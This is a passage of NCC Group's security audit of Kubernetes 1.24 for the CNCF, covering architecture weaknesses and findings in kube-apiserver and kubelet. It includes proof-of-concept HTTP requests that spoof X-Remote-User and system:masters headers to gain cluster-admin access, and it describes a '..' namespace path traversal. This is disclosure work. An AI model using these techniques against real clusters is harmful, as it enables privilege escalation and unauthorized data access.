Kubernetes 1.24 Security Audit

Cloud Native Computing Foundation
Version 1.2 – April 5, 2023

Prepared By
Iain Smart
Richard Turnbull
Gerald Doussot
Divya Natesan
Jeff Dileo
Greg Jenkins
Michael Roberts
Chris Anley
Eli Sohl

Prepared For
Kubernetes Sig-Security Third Party Audit Working Group

1 Executive Summary

Synopsis

Following the release of Kubernetes 1.24.0, the Cloud Native Computing Foundation (CNCF) engaged NCC Group to conduct a security assessment of the Kubernetes project. Kubernetes is described by the CNCF as "a portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation". The purpose of this review was to identify any issues in the project architecture and code base which could adversely affect the security of Kubernetes users. This engagement was performed over the summer of 2022.

Scope

This security audit is meant to paint a broad picture of the security posture of Kubernetes and its source code base, and focuses specifically on the following components of Kubernetes:

- `kube-apiserver`
- `kube-scheduler`
- Kubernetes use of `etcd`
- `kube-controller-manager`
- `cloud-controller-manager`
- `kubelet`
- `kube-proxy`
- `secrets-store-csi-driver`
- Coverage on all aspects that have changed since the previous audit of Kubernetes 1.13

While Kubernetes relies upon Container Runtimes such as Docker and CRI-O, container escapes that rely upon bugs in the container runtime are not in scope unless, for example, the escape is made possible by a defect in the way that Kubernetes sets up the container.

Key Findings

During the assessment, NCC Group identified:

- **A number of concerns with the administrative experience** as it relates to restricting user or network permissions. These may result in administrator confusion or a lack of clarity around the permissions available to a specific component.
- **Flaws in inter-component authentication** which allow a suitably positioned malicious user to escalate permissions to cluster-admin.
- **Weaknesses in logging and auditing** which could be abused by an attacker post-compromise to aid in maintaining persistence or stealth once in control of a cluster.
- **Flaws in user input sanitization** which allow a restricted form of authentication bypass by modifying the request made to the `etcd` datastore.

While numerous other findings were also identified, these were determined to pose limited risk to users. This is due to either their impact being low, or privileged permissions being required in order to abuse the vulnerable functionality.

Strategic Recommendations

The Kubernetes project has demonstrated efforts to improve the security of the overall project, and applying fixes for the issues outlined in this report will continue those efforts. Where a relatively simple fix is possible, for example in the identified instances of unsanitized user inputs, these issues should be fixed in code as soon as possible. Where more complicated fixes are required, it may be more pertinent to update Kubernetes documentation to inform users of the identified risks while longer-term fixes are applied.

In addition to the findings identified in this report, NCC Group observed that a number of findings from the previous audit performed against Kubernetes version 1.13 remain open or unfixed. When reviewing the findings of this report, the previous audit findings should also be reviewed and addressed as part of continuous security improvement work.

2 Security Architecture Review

During this engagement, NCC Group performed a security architecture review of Kubernetes that resulted in the identification of the major findings in terms of secure design of Kubernetes. As part of this assessment, NCC Group attempted to identify deficiencies in the overall architecture of Kubernetes, both current and, as applicable, future. Additionally, in evaluating threats to guide analysis and recommendations, NCC Group considered common use case scenarios, assets, relevant threat agents, and their associated impacts and mitigations.

This section discusses use cases, legitimate actors, and assets considered in NCC Group's review of the Kubernetes architecture from a security perspective. In addition, specific findings discussed in finding "Multiple Concerns with Network Policies", finding "Additive Access Controls", finding "Lack of Cohesion Between Core Access Control Mechanisms", and finding "Weaknesses in Pod Security Standards Restricted Profile" are a result of the evaluation of the security decisions made in designing Kubernetes.

Cluster Scenarios

In general, Kubernetes is a fairly flexible platform for deploying and managing workloads, and is used in disparate ways for disparate purposes. For this assessment, NCC Group first identified design patterns that are common among Cluster use cases based on common deployments assessed by NCC Group. Then, the design of Kubernetes was assessed against these four hypothetical Cluster use cases:

- *Production Application Deployment and Development/Test Environment Isolation:* Use of Kubernetes to deploy internal or public-facing applications, including across isolated environments in deployments, such as Production, Development, Staging, and Testing.
- *CI-CD Pipelines:* Use of Kubernetes to perform automated building, testing, and deployment of software and software artifacts or as a platform for other batch tasks and processes.
- *Code Execution as a Service Platforms:* Use of Kubernetes to execute end-users' code, typically in a sandbox, such as to enable data processing capabilities, to expose functionality such as Jupyter notebooks or running Python scripts directly on the Containers, or to provide a platform as a service (PaaS).
- *Multi-Tenant Dedicated Services:* Per-tenant and per-tenant tier deployments of software as a service (SaaS) platforms.

While in some areas, facets of these use cases overlap, and users' uses of Kubernetes may comprise several of these cases within the same Cluster, these use cases present distinct threat models under which Kubernetes as a whole may be analyzed. Additionally, across these use cases, NCC Group assessed Kubernetes through the lenses of both self-hosted and platform-managed Kubernetes Clusters.

Actors

Within Kubernetes as a whole, it is generally possible to ascribe the following role labels across different kinds of users, all of which, except the last, can be considered to have some level of sensitive access to the Cluster, such as `system:authenticated` access by default.

- Platform Administrators: Actors with explicit access to control plane components and the systems running them.
- Node-level Administrators: Actors with explicit access to Cluster nodes. In self-hosted Clusters, these are typically also Platform Administrators, but also may not be if they are given direct access to workload-running nodes and not control plane nodes.
- Cluster-level Administrators: Actors with significant cluster-level API Server privileges and access.

- Namespace-level Administrators: Actors with API Server access sufficient to create and modify most general namespace-based objects for a given namespace.
- Infrastructure Services: Privileged or semi-privileged Cluster service workloads, that either are direct Kubernetes components (for example: API Server, `etcd`, `CoreDNS`, `kube-controller-manager`), or are separately-installed services (for example: CNI Plugins, Service Meshes, Admission Controllers).
- Workloads: Applications deployed to a cluster.
- Operator: Actors with access to various API Server privileges but who may not have complete administrative access to a Cluster.
- Developers: Actors with control over the code, application configuration, and potentially Kubernetes configuration of workloads.
- Limited-Privilege users: Actors with tightly-scoped and limited access to the API Server, often sufficient to query service or workload status, or edit non-sensitive application configurations via Kubernetes objects such as `configmap`s.
- External (non-Cluster) users: External actors without authenticated Cluster or apiserver access but who may access publicly exposed services, such as those of workloads deployed on a Cluster.

In many cases, these roles, or aspects of them, are performed by both manual and automated processes. For example, to prevent direct access to production environments — in addition to simplifying procedures — continuous delivery or other managed deployment services may be used to automatically generate and configure any number of Kubernetes objects in addition to pods, including their namespaces, service accounts, roles, and role bindings. Additionally, certain roles may be applied more liberally in “less sensitive” environments, such as development and staging, whereby a developer may also be a namespace administrator for the namespace created for their workloads.

Assets

- Organizational resources: Access to corporate or organizational systems or data outside of the Kubernetes cluster, such as communication systems (e.g. email, chat), HR systems, code repositories, wikis, remote log storage, and cloud platform accounts.
- Internal infrastructure and services: Privileged access to cluster infrastructure, including nodes and other core components that may be sufficient to gain access to other assets.
- Application secrets: Credentials used by applications and services within the cluster, such as cluster service account tokens, third-party access keys, and cryptographic secrets.
- Application data: Sensitive data transmitted through, processed by, or stored within services and applications deployed to a cluster. Depending on the use case of the cluster, this may include personally identifiable information (PII) and protected health information (PHI).
- Intellectual property: Sensitive intellectual property such as proprietary source code and internal application and service binaries.
- Service availability: The ability to maintain service access to intended peers (e.g. customers, downstream clients).

Evaluation

This review covered authentication and authorization, including trust relationships, role-based access controls, and evaluation of component privilege, in addition to general evaluation of security decisions and design patterns within Kubernetes against best practices. In terms of Kubernetes architecture, NCC Group believes that the following items represent the most significant high-level threats:

Core Access Control Mechanisms

NCC Group found that the core access control mechanisms for Kubernetes were not implemented in a strong, universal way that will prevent bypasses in terms of giving a malicious user the ability to access or manipulate sensitive data/other resources and potentially compromising a Cluster.

Over its release history, Kubernetes has developed several security features geared towards providing access controls for specific Kubernetes features, with some features being deprecated and replaced by alternatives over time. At a high level, the general security concerns of a Kubernetes Cluster can be divided between Cluster access, Node access, and Service access. In the case of Cluster access, or Kubernetes API access, the ability to access or manipulate sensitive data or resources can have cascading effects. In the case of Node access, privileged workloads or those that can exploit misconfigurations can compromise other workloads and potentially compromise a Cluster. And in the case of service access, a malicious or compromised workload can potentially be abused to compromise other workloads. Cluster access and Node access each have had their own forms of access controls. In practice, Cluster API access is controlled via the Kubernetes role-based access control (RBAC) Authorization mode, and workload configurations are controlled via Admission Controllers and the like that effectively enforce access controls. Overall, Kubernetes lacks a cohesive scheme for declaring access controls, with each such feature being a stand-alone mechanism.

Also, while Kubernetes currently enables custom access controls via webhooks, such functionality is not easily exposed for general use and currently serves to enable simpler integration of third-party components.

This lack of cohesion between core access control mechanisms and leaning on integration with third-party components for access controls is discussed in the finding at finding "Lack of Cohesion Between Core Access Control Mechanisms" with more detail and recommendations.

RBAC

In Kubernetes, authorization is handled at the API level based on the Authorization modes the API server is configured with. The main user-facing Kubernetes Authorization mode, `RBAC`, provides a role-based access control system that maps Principals to operations related to resources across single namespaces or entire Clusters based on whether the roles and/or bindings are Cluster-level. However, the Kubernetes RBAC model does not support Deny rules, instead only identifying whether a user has permission to access a given resource in a given way. Due to this, the model can be considered to “fail open” in the event that a principal is, through generic or over-broad role definitions, granted unintended permissions. This behavior results in a weak API access control model whereby stricter access controls cannot generally be applied in addition to existing rules (for example: to restrict specific users or groups from accessing specific resources they can otherwise access due to matching additive rules), instead necessitating complex and error-prone rewrites of RBAC rules.

The lack of strong RBAC that supports Deny rules means that users essentially cannot be configured with specific Deny permissions to given resources even if they otherwise have broad role definitions. Ultimately, this manifests in a large number of authorization issues in Kubernetes deployments when there are specific needs for appropriate access controls.

This additive nature of RBAC is discussed in the finding at finding "Additive Access Controls" with more detail and recommendations.

Network Policies

In Kubernetes, `networking.k8s.io/v1` `NetworkPolicy` objects provide a manner to configure network traffic filtering restrictions on and between pods to provide isolation. However, their design and behavior result in several drawbacks that significantly limit their applicability.

Network policies, in the general use case, effectively have the opt-in nature, as rule application is performed via label matches. Should any lax network policy exist in a namespace, even one that is otherwise locked down with RBAC rules to prevent the creation or manipulation of network policies, any Cluster user that can create or modify a Pod, either directly or indirectly in that namespace, can modify pod labels. Such modification would grant the additional access of the matching network policy rules, such as to sensitive pods and services that otherwise cannot be directly accessed from within a Cluster. As a result, without additional Admission Controller validations to "enforce" creation and modification of Pods with specific Pod labels in a secure manner, network policies can only be considered to be granular to the namespace level and not the Pod level.

Standard network policies, similar to RBAC (finding at finding "Additive Access Controls"), use additive access controls, whereby a range or "entity" that is allowed cannot be disallowed. While this does not go so far as to enable ingress rules to override egress restrictions, it nonetheless significantly limits the usability of network policies by enabling accidental fail-open configurations.

These concerns with Network Policies are discussed in the finding at finding "Multiple Concerns with Network Policies" with more detail, additional issues, and recommendations.

Pod Security Standards Admission Controller

The Pod Security Standards `Restricted` profile builds atop the `Baseline` profile, primarily by ensuring that Pods cannot run as root, that they cannot run with capabilities other than `NET_BIND_SERVICE`, and that they must enable a seccomp profile. However, while the profile requires that all variants of `runAsUser` must be nonzero, it does not similarly require that `runAsGroup` must also be nonzero. Due to this, it may be possible for a Pod running with GID 0 to access sensitive resources that are group owned by root and user-group, but not world-readable or -writable. Additional requirements to the `Restricted` profile to restrict group configuration should be introduced. A mutating variant of the Pod Security Standards Admission Controller that will override unset fields with secure defaults may make it simpler to ease adoption of `Restricted` profiles, from `Baseline` or in general.

Additionally, the seccomp requirements enable the selection of a `type: Localhost` for `seccompProfile`. While this requires that the `seccompProfile.localhostProfile` field is set to an existing relative path from `/var/lib/kubelet`, this can pose a risk in the event that a Cluster is configured with multiple tailored and lax localhost seccomp profiles. A user with access to create Pods could opt into a weaker seccomp profile than that of the `RuntimeDefault` profile. Additionally, it should be documented that users should be careful not to expose seccomp profiles weaker than `RuntimeDefault`, or that they should use a custom Admission Controller to restrict the seccomp profiles that may be used by given Containers or within a given namespace.

Weaknesses in Pod Security Standards Admission Controller's Restricted Profile are discussed in the finding at finding "Weaknesses in Pod Security Standards Restricted Profile" with more detail and recommendations.

Logging and Auditing

Kubernetes can maintain logs of actions on the system. Without logs, identifying malicious action can be impossible. When auditing is configured on a Cluster, audit logs show the username and groups of logged requests. This does not include the authentication source used to determine the user's identity. An attacker able to craft their own authentication that is accepted by the Cluster will be able to impersonate a system component. Since logs do not include the authentication source, this does not catch instances of unexpected behavior in a post-compromise persistence scenario that indicates an attack.

As one example of an attack path, an attacker able to gain access to the Certificate Authority, used to sign user certificates, can create a user certificate for a username of `system:serviceaccount:kubesystem:replication-controller` or similar. If an attacker uses this certificate, the audit logs will show the same username as any requests made by the `replication-controller` service account in normal behavior. Any anomalous behavior may not be noticed, unless a Cluster administrator is paying close attention to every request.

Explicit immutable logging of the authentication source used to determine the user's identity should be considered so that an attacker is not able to craft their requests in such a way that they are impersonating another component. This helps track down the extent of a compromise.

This lack of authentication source in audit logs is discussed in the finding at finding "Authentication Source Not Shown in Audit Logs" with more detail and recommendations.

User Inputs

There are several identified instances of unsanitized user inputs like the findings at finding "Path Traversal in Namespace Specifier" and finding "Dangerous File Path Construction" in this report. Unsanitized user inputs in an API request can lead to exploits that widen the scope for resources with access control bypasses (like, retrieving/manipulating secret objects and other information disclosure). Where a relatively simple fix is possible, these findings should be fixed in the source code as soon as possible. Where complicated fixes are required, the Kubernetes documentation should be updated to inform users of the identified risks while long-term fixes are applied.

Remediation

In addition, remediating discovered findings outlined in this report and performing security evaluations of the future versions of Kubernetes will continue to improve the security posture of Kubernetes. NCC Group also observed that a number of findings from the previous security audit performed against Kubernetes version 1.13 remain open. When reviewing the findings of this report, the previous audit findings should also be reviewed and addressed as part of continuous security improvement work.

3 Dashboard

Target Data

Name	Kubernetes
Type	Open Source System for management of Containerized Applications
Platforms	Golang
Environment	Local kind Test Cluster

Engagement Data

Type	Security Architectural and Implementation Review of Orchestration of Containers
Method	Architectural Review and Source Code Assisted
Dates	2022-05-09 to 2022-06-10
Consultants	9
Level of Effort	97 person-days

Finding Breakdown

Critical issues	0	
High issues	0	
Medium issues	6	🟧🟧🟧🟧🟧🟧
Low issues	9	🟨🟨🟨🟨🟨🟨🟨🟨🟨
Informational issues	4	⬜⬜⬜⬜
Total issues	**19**	

Category Breakdown

Access Controls	7	🟧🟧🟧🟨🟨🟨🟨
Auditing and Logging	2	🟨🟨
Authentication	4	🟧🟧🟨🟨
Configuration	1	🟨
Cryptography	4	🟧⬜⬜⬜
Data Validation	1	⬜

Component Breakdown

Security Architecture Review	4	🟧🟨🟨🟨
kube-apiserver	13	🟧🟧🟧🟧🟨🟨🟨🟨🟨🟨⬜⬜⬜
kubelet	2	🟧⬜

🟪 Critical 🟥 High 🟧 Medium 🟨 Low ⬜ Informational

4 Table of Findings

For each finding, NCC Group uses a composite risk score that takes into account the severity of the risk, application's exposure and user population, technical difficulty of exploitation, and other factors.

Security Architecture Review

Title	ID	Risk
Additive Access Controls	PA6	Medium
Multiple Concerns with Network Policies	XE9	Low
Lack of Cohesion Between Core Access Control Mechanisms	DXX	Low
Weaknesses in Pod Security Standards Restricted Profile	UCG	Low

kube-apiserver

Title	ID	Risk
Common Certificate Authority Possible for Client CA and Request Header CA	F9W	Medium
Path Traversal in Namespace Specifier	RKV	Medium
Redirection of API Server Traffic to Kubelet	JAV	Medium
API Server Proxy Disables TLS Certificate Validation	MRE	Medium
Authentication Source Not Shown in Audit Logs	R44	Low
EmptyDir Volumes Do Not Support Mount Options	7HM	Low
Loopback Token Usable Externally	47W	Low
Inaccurate X-Forwarded-Uri Header	HFV	Low
Logging of Incorrect Bootstrap Tokens	WVM	Low
Incorrect Handling of Proxy Authentication Headers	YVU	Low
Timing Side Channel in Bootstrap Tokens Generation and Handling	TTV	Info
Non Constant-Time Comparison of Service Account Token Secrets	PCK	Info
Low Entropy Bootstrap Tokens	WHE	Info

kubelet

Title	ID	Risk
Privilege Escalation via `nodes/proxy` Permission	WV3	Medium
Dangerous File Path Construction	B4Y	Info

5 Finding Details – Security Architecture Review

Additive Access Controls

Medium

Overall Risk	Medium	**Finding ID**	NCC-E003660-PA6
Impact	Medium	**Component**	Security Architecture Review
Exploitability	Medium	**Category**	Access Controls
		Status	Reported

Description

In Kubernetes, authorization is handled at the API level based on the authorization modes the API server is configured with. The main user-facing Kubernetes authorization mode, `RBAC`, provides a role-based access control (RBAC) system that maps principals to operations related to resources across single namespaces or entire clusters based on whether the Roles and/or RoleBindings are Cluster-level. However, the Kubernetes RBAC model does not support Deny rules, instead only identifying whether a user has a permission to access a given resource in a given way. Due to this, the model can be considered to “fail open” in the event that a principal is, through generic or over-broad role definitions, granted unintended permissions.

The Kubernetes’ authorization model is structured such that it will sequentially try all configured authorization modes
until one returns an explicit `DecisionAllow` or `DecisionDeny`, or return an error in the event that they all return `DecisionNoOpinion`.[1] While this model can be used similarly to Kubernetes’ admission controller model, in which an `allowed` Boolean is used and for which any failed validation will result in an overall error, in practice, internal authorizers such as Node and RBAC can only return `DecisionNoOpinion` on failure, not `DecisionDeny`, preventing them from fully rejecting accesses.

Recommendation

Consider enhancing the current RBAC authorization mode or introducing a new RBAC mode with support for explicit Deny rules that return `DecisionDeny`.

Additionally, support the ability to configure authorization such that all configured authorization modes must allow an access attempt before it is processed. Furthermore, consider implementing a mechanism for an authorization mode to subquery other authorization modes. Lastly, consider embedding authentication metadata to authorization modes, enabling increased or decreased access based on the context of the user.

In addition to enhancing the robustness of the Kubernetes authorization model, these changes could be used to implement finer-grained user-specific access control features, including revocation for users authenticating with certificates.

1. https://github.com/kubernetes/kubernetes/blob/v1.24.3/plugin/pkg/auth/authorizer/rbac/rbac.go#L126

Low

Multiple Concerns with Network Policies

Overall Risk	Low	**Finding ID**	NCC-E003660-XE9
Impact	Medium	**Component**	Security Architecture Review
Exploitability	Low	**Category**	Access Controls
		Status	Reported

Description

In Kubernetes, `NetworkPolicy` objects provide a flexible manner to configure networking restrictions on and between pods to provide isolation. However, their design and behavior result in several drawbacks that significantly limit their applicability. In general, the `networking.k8s.io/v1` `NetworkPolicy` type attempts to present a lowest common denominator specification for traffic filtering. It is not, however, required that a CNI implement any kind of support for network policies, and those that do tend to provide more useful isolation features than are supported by the standard `NetworkPolicy` type. Additionally, while network policies may be partially or fully unsupported, there is no mechanism to determine if an applied `NetworkPolicy` will be enforced.[2] Instead, it is left to administrators to validate the intended behavior. In general, the risk of this facet of network policy behavior is low given that production CNIs tend to support network policies.

Standard network policies, similar to other Kubernetes components, use additive access controls (see finding "Additive Access Controls"), whereby a range or “entity” that is allowed cannot be disallowed. While this does not go so far as to enable ingress rules to override egress restrictions, it nonetheless significantly limits the usability of network policies by enabling accidental fail-open configurations. Furthermore, network policies are, in the general use case, effectively opt-in, as rule application is performed via label matchers. Should any lax network policy exist in a namespace, even one that is otherwise locked down with RBAC rules to prevent the creation or manipulation of network policies, any cluster user that can create or modify a pod, either directly or indirectly in that namespace, can modify pod labels in an attempt to be granted the additional access of the matching network policy rules, such as to sensitive pods and services that otherwise cannot be directly accessed from within a cluster. As a result, without additional admission controller validations to “enforce” pod labels in a secure manner, network policies can only be considered to be granular to the namespace level and not the pod level, and the only way to enforce a network policy across all pods in a namespace is to give it a wildcard `podSelector` of `{}`. Such policies are referred to as “default policies”[3] and are often recommended as a security best practice, though generally only as a means of denying traffic by default, and often without discussing the weaknesses of network policies or their opt-in nature.[4]

Another issue with network policies is that they conflict with the use of Kubernetes’ DNS to resolve services and pods. In particular, to resolve internal DNS names, pods must be able to communicate with the cluster’s own DNS server. To support such functionality, network access to the DNS server must be allowed. However, as Kubernetes DNS will recursively resolve queries, this enables DNS to be abused as a communication channel that bypasses

2. https://github.com/kubernetes/sig-security/blob/main/sig-security-external-audit/security-audit-2019/findings/Kubernetes Threat Model.pdf, Finding TOB-K8S-TM01 (pages 28-29)
3. https://kubernetes.io/docs/concepts/services-networking/network-policies/#default-policies
4. For example, https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF

egress filtering. Due to this, while standard network policies may be used to securely restrict access between pods, they cannot be relied on to restrict outgoing traffic.

```
.:53 {
    errors
    health {
       lameduck 5s
    }
    ready
    kubernetes cluster.local in-addr.arpa ip6.arpa {
       pods insecure
       fallthrough in-addr.arpa ip6.arpa
       ttl 30
    }
    prometheus :9153
    forward . /etc/resolv.conf {
       max_concurrent 1000
    }
    cache 30
    loop
    reload
    loadbalance
}
```

Figure 1: Default kube-dns CoreDNS Corefile

It should be noted that it is possible to reconfigure Kubernetes DNS with a configmap to replace the CoreDNS Corefile entirely, which would enable filtering queries via a number of means, such as forwarding to a custom filtering DNS server, implementing a custom allowlist of domains to forward to, or disabling the `forward` plugin to disable recursion and external querying entirely. These can enable powerful compositions as, while workload namespaces can be constrained with network policies that restrict access to the CoreDNS server or other filtering DNS servers, the namespace used to run these servers can remain unfiltered. However, applying such configurations correctly is non-trivial and constitutes manual reconfiguration of an implementation detail of Kubernetes.

Recommendation

In the long term, the built-in Kubernetes `NetworkPolicy` type should be refocused or deprecated in favor of an alternate approach to ingress and egress filtering focused entirely on in-cluster traffic. As part of this, consider enabling stronger binding mechanisms for pod selection and explicit Deny rules that can be used to ensure that pods may not be able to gain access via label configuration abuse. Lastly, CNIs should be required to provide admission controller webhooks that fully validate network policies, and deny any that use unsupported features, including all `NetworkPolicy` objects if the CNI does not support network policies. Alternatively, if not using a `ValidatingAdmissionWebhook` object directly, CNIs could be required to implement a validating admission webhook endpoint that a new core Kubernetes admission controller would detect and then route `NetworkPolicy` objects to, propagating the response accordingly.

Low

Lack of Cohesion Between Core Access Control Mechanisms

Overall Risk	Low	**Finding ID**	NCC-E003660-DXX
Impact	Medium	**Component**	Security Architecture Review
Exploitability	Low	**Category**	Access Controls
		Status	Reported

Description

Over its release history, Kubernetes has developed several security features geared towards providing access controls for specific Kubernetes features, with some features being deprecated and replaced by alternatives over time. Overall, however, Kubernetes lacks a cohesive scheme for declaring access controls, with each such feature being a stand-alone mechanism. At a high level, the general security concerns of a Kubernetes cluster can be divided between cluster access, node access, and service access. In the case of cluster access, or Kubernetes API access, the ability to access or manipulate sensitive data or resources can have cascading effects. In the case of node access, privileged workloads or those that can exploit misconfigurations can compromise other workloads and potentially compromise a cluster. And in the case of service access, a malicious or compromised workload can potentially be abused to compromise other workloads.

In general, the greatest concern with regards to Kubernetes access controls is cluster API access and its impact on sensitive cluster data and on the ability to configure workloads, which have each evolved their own forms of access controls over time. While Kubernetes currently enables custom access controls via webhooks, such functionality is not easily exposed for general use and currently serves to enable simpler integration of third-party components. While Kubernetes includes more specialized access control components to maintain certain forms of internal security invariants, such as node authorization and restriction, in practice, cluster API access is controlled via Kubernetes' role-based access control (RBAC) authorization mode, and workload configurations are controlled via admission controllers, input validators, and mutators that effectively enforce access controls.

Kubernetes' RBAC authorization is primarily structured around Roles/ClusterRoles and RoleBindings/ClusterRoleBindings, and how they map principals to operations related to resources, across single namespaces or entire clusters. In contrast, access control admission controllers, in the form of plugins and webhooks, are often highly specialized around the object types they validate and can be considered to decompose custom access control specifications into principal-specific object field validations and overrides. In general, admission controllers such as Pod Security, enforcing the Pod Security Standards specification; the deprecated Pod Security Policies; and popular third-party admission controllers such as OPA Gatekeeper and Kyverno all attempt to provide some means to provide a custom policy dictating how a workload may be configured by a principal that is authorized to configure it.

However, the current split between authorization modes and access control-focused admission controllers prevents a unified approach to implementing access controls, increasing the difficulty of correctly configuring access controls, and exposing gaps in the handling of certain resources, such as Secrets, whereby a user that is not authorized to access a Secret directly via the API may nonetheless be able to access it from a workload. In many cases, such gaps can not feasibly be resolved with official components at present, and instead require custom object and field validations with webhooks, or granular policies for third-party components typically implemented as webhooks.

Recommendation

Consider introducing the ability to define allowed object validation formats within RBAC policies for objects that may be created or modified through those policies. For example, the JSON Schema[5] specification or a similar validation language could be used to validate allowed objects. Additionally, ensure that object validation rules can uniquely validate or restrict the object version types used, or contain version-specific object validations.

5. https://json-schema.org/

Low

Weaknesses in Pod Security Standards Restricted Profile

Overall Risk	Low	**Finding ID**	NCC-E003660-UCG
Impact	Low	**Component**	Security Architecture Review
Exploitability	Medium	**Category**	Access Controls
		Status	Reported

Description

The Pod Security Standards "Restricted" profile builds atop the "Baseline" profile, primarily by ensuring that pods cannot run as root, that they cannot run with capabilities other than `NET_BIND_SERVICE`, and that they must enable a seccomp profile. However, while the profile requires that all variants of `runAsUser` must be nonzero, it does not similarly require that `runAsGroup` must also be nonzero. Due to this, it may be possible for a pod running with GID 0 to access sensitive resources that are group owned by root and user-group, but not world-readable or -writable.

Additionally, the seccomp requirements enable the selection of a `type: Localhost` for `seccompProfile`. While this requires that the `seccompProfile.localhostProfile` field is set to an existing relative path from `/var/lib/kubelet`, this can pose a risk in the event that a cluster is configured with multiple tailored and lax localhost seccomp profiles, as a user with access to create pods could opt into a weaker seccomp profile than that of the `RuntimeDefault` profile.

Recommendation

Introduce additional requirements to the "Restricted" profile to restrict group configuration, such as the following:

> #### Running as Non-root group
> Containers must not set runAsGroup to 0
>
> **Restricted Fields**
>
> - `spec.securityContext.runAsGroup`
> - `spec.containers[*].securityContext.runAsGroup`
> - `spec.initContainers[*].securityContext.runAsGroup`
> - `spec.ephemeralContainers[*].securityContext.runAsGroup`
>
> **Allowed Values**
>
> - any non-zero value
> - undefined/null

Additionally, document that users should be careful not to expose seccomp profiles weaker than `RuntimeDefault`, or that they should use a custom admission controller to restrict the seccomp profiles that may be used by given containers or within a given namespace.

Lastly, consider introducing a mutating variant of the Pod Security Standards admission controller that will override unset fields such as `allowPrivilegeEscalation`, `capabilities`, `runAsNonRoot`, `seccompProfile`, and `runAs(User|Group)` with secure defaults that will then still be validated by the validating Pod Security Standards admission controller. This may make it simpler to ease adoption of Restricted profiles, from Baseline or in general.

6 Finding Details – kube-apiserver

Medium

Common Certificate Authority Possible for Client CA and Request Header CA

Overall Risk	Medium	**Finding ID**	NCC-E003660-F9W
Impact	High	**Component**	kube-apiserver
Exploitability	Low	**Category**	Authentication
		Status	Reported

Impact

A misconfiguration of the API server could lead to a situation where privilege escalation for any authenticated user to cluster admin is possible.

Description

The Kubernetes API server allows a certificate authority (CA) to be specified (using the `--client-ca-file` flag) which will be used to verify client certificates under the familiar X.509 client certificate authentication scheme[6]. Another CA can be specified (using `--requestheader-client-ca-file`) that will be used to verify requests authenticated using the request header scheme (described in the documentation as Authenticating Proxy). If these two CAs are the same, and the `--requestheader-allowed-names` flag is not used to specify particular certificate common names that are permitted for request header authentication, it is possible for any holder of a client certificate from the shared CA to trivially authenticate to the API server as any user, by using their certificate to authenticate a request using the request header scheme. While it is not intended that these CAs be the same, and common Kubernetes deployment methods do not configure the deployment in this way, it is possible that administrators could be unaware of this pitfall.

The Kubernetes documentation does include some advice against sharing CAs[7][8], but is not explicit about the potentially serious security impact of this specific case.

The HTTP requests and responses below illustrate this issue. Here, the API server has been configured with the same `--client-ca-file` and `--requestheader-client-ca-file`, and no `--requestheader-allowed-names` has been set. The requests are authenticated using a client certificate for a user with no specific privileges.

First, a request is made using the X.509 client certificate scheme.

```
GET /apis/apps/v1/deployments HTTP/1.1
Host: 192.168.136.138
```

```
HTTP/1.1 403 Forbidden
Audit-Id: d4468053-f870-4427-ad7a-1cccacdbc3d7
Cache-Control: no-cache, private
Content-Type: application/json
X-Content-Type-Options: nosniff
```

6. X.509 Client Certs: https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs
7. Authenticating Proxy: https://kubernetes.io/docs/reference/access-authn-authz/authentication/#authenticating-proxy
8. CA Reusage and Conflicts : https://kubernetes.io/docs/tasks/extend-kubernetes/configure-aggregation-layer/#ca-reusage-and-conflicts

```
X-Kubernetes-Pf-Flowschema-Uid: ada4f99a-1717-41f0-b56d-ab736de08ffe
X-Kubernetes-Pf-Prioritylevel-Uid: 3363d562-bc1f-48c7-ae43-95b5ac88c7e0
Date: Thu, 19 May 2022 15:14:55 GMT
Content-Length: 288

{"kind":"Status","apiVersion":"v1","metadata":
↪{},"status":"Failure","message":"deployments.apps is forbidden: User \"unpriv\" cannot list
↪resource \"deployments\" in API group \"apps\" at the cluster
↪scope","reason":"Forbidden","details":{"group":"apps","kind":"deployments"},"code":403}
```

Now, a request is made using the request header scheme - an arbitrary username and group membership(s) can be asserted using custom headers.

```
GET /apis/apps/v1/deployments HTTP/1.1
Host: 192.168.136.138
X-Remote-User: richard
X-Remote-Group: system:masters
```

```
HTTP/1.1 200 OK
Audit-Id: 65399aeb-b3ee-4631-bcbd-cde90a66baa6
Cache-Control: no-cache, private
Content-Type: application/json
X-Kubernetes-Pf-Flowschema-Uid: 33c35f92-2ecf-48f9-81c9-c367a681f16d
X-Kubernetes-Pf-Prioritylevel-Uid: 4674e37e-7216-4693-bffc-236827c0a1bc
Date: Thu, 19 May 2022 15:16:06 GMT
Content-Length: 5849

{"kind":"DeploymentList","apiVersion":"apps/v1","metadata":{"resourceVersion":"84499"},"items":
↪[{"metadata":{"name":"coredns","namespace":"kube-system","uid":"1c2b28bd-d6df-42e3-
↪b37b-075d3fca9aba","resourceVersion":"81712","generation":2,"creationTimestamp":"2022-05-18T1
↪0:36:37Z","labels":{"k8s-app":"kube-dns"},"annotations":{"deployment.kubernetes.io/
↪revision":"1"},
```

Recommendation

The Kubernetes API server should reject any configuration where `--client-ca-file` and `--requestheader-client-ca-file` are set to the same value, unless `--requestheader-allowed-names` has been set to specific value(s).

It may also be advisable to update the Kubernetes documentation to be more explicit about the specific risks of sharing certificate authorities. For example, using the same CA for X.509 client certificates for etcd authentication would allow any authenticated user to directly access etcd (although this scenario is considered less likely than sharing of the client CA and request header CA).

Location

kube-apiserver

Medium

Path Traversal in Namespace Specifier

Overall Risk	Medium	**Finding ID**	NCC-E003660-RKV
Impact	Low	**Component**	kube-apiserver
Exploitability	High	**Category**	Access Controls
		Status	Reported

Impact

By specifying a namespace of `..` in *list* requests to the Kubernetes API, a user can discover the full path of some objects they do not have access to, and possibly retrieve CRD objects they do not have access to.

Description

The Kubernetes API will accept a directory traversal sequence (`..`) as the namespace in a request, and this leads to some access control bypasses, as it widens the scope of the etcd lookups which are constructed on the back end. For a variety of reasons, the extent to which this issue can be exploited for unauthorized access to resources appears to be relatively limited, but it does represent a significant flaw in access controls, and it is possible that further methods of exploitation may exist, which have not been identified during this assessment.

A single dot is also accepted as the namespace identifier, although this has less serious consequences for security. Note that neither `..` nor `.` are accepted for other path components in the URL (e.g. resource names) - these are checked by the NamespaceKeyFunc method and will be rejected.

